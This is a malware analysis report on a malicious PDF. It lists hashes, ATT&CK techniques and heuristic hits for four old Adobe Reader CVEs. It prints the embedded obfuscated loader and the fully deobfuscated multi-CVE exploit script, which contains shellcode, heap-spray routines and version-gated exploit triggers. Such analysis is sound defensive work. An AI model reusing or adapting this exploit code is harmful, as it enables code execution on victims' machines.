Malicious PDF — malware analysis report

Static analysis result for SHA-256 779112438283e647…

MALICIOUS

PDF

44.6 KB
MD5: 4392713c72c79929d8ff009c542b1eed SHA-1: 3bfe14eee7360e7fb25fec2abb698448b6d86b2c SHA-256: 779112438283e64704f41804d1bfd171ceafecf8cd7bf7d1d3670bbedee7721b
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that exploits several known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be a shellcode loader, indicating the file's primary purpose is to exploit these vulnerabilities to execute arbitrary code, likely a secondary payload. The ML classifier also strongly flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
19f3007806786c45bd3e0f8d881eb23938a3fa0477363a5a9a8a55c1c827899c		 pdf-javascript-stream PDF /JS object 1 at offset 0xAFD2 444 bytes
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
zqu='';
klihh=('qwrwqr','tit');
e('ruudg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
pxf=e('String.fro'+ruudg.substr(0,9));
uofq = e(ruudg.substr(9)['replace'](/u/g,','));
e('k=uofq.length');
for (i = 0; i < k; i+=2) {
	uolm = uofq[i+1] + ('erybjkerl',uofq[i]);
	zqu += pxf(uolm);
}
e(zqu);
legacy_pdfkit_stage_000.js
d10cb497e6570011bf5f290d878c8ba5627f2cee02b3d4e824193bd3da354261		 deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3654 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3db9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2d34%ue2aa%uc3fa%ue5e8%uffff%uc4ff%u2c21%u2d2d%uac73%u71c1%u2d2c%ua42d%ua0ca%u3d62%u42a0%u1c79%u7af6%u7e7c%u7e7e%u7e7e%u7e7e%u7e78%u457e%u2c29%u2d2d%u7b78%u457e%u4342%u2d2d%u5845%u415f%u7940%ua345%u2363%uc5c1%u2d65%u2d2d%uc57d%u2d51%u2d2d%ufdd2%ue9ae%u4525%uc262%u2862%uc57d%u2d41%u2d2d%ufdd2%ueda8%u3a58%u7947%ude74%u4587%ud35f%u3b9e%u30c5%u2d2d%u7d2d%u7cc5%u2d2d%ud22d%u7efd%ud347%ua445%u2c42%uc590%u2d25%u2d2d%uc57d%u2d11%u2d2d%ufdd2%u1c4d%u49ed%u7da6%ua61d%u217f%u7fa6%ua639%u055f%u3594%u2d2d%u1c2d%u1cd2%u81ed%u4c11%u2f51%u0d01%ue2ec%u2c20%ucfea%uacdd%u76d2%u6791%ua647%u3d6f%u3fa6%uf458%u69a4%u3109%uee4c%ua64d%u0941%ua609%u1168%u79a6%u5528%uc72c%u67a6%ua635%u0d77%uc62c%u19ce%ua664%ua619%uc32c%ud21c%ued1c%u81d1%ueda9%u2a59%ue2ec%u2c20%uc6ea%u16d9%u0951%u5805%ua6cc%u0977%uc62c%ua64b%u6621%u77a6%u2c31%ua6c6%ua629%uc52c%u69a4%u3109%uef4c%u2d25%uc2c5%ud2d3%u45d2%u5959%u175d%u0202%u455d%u4342%u4548%u4c48%u5941%u0345%u4344%u424b%u4902%u5d03%u5d45%u4b12%u1910%u0b1f%u1048%u2d18';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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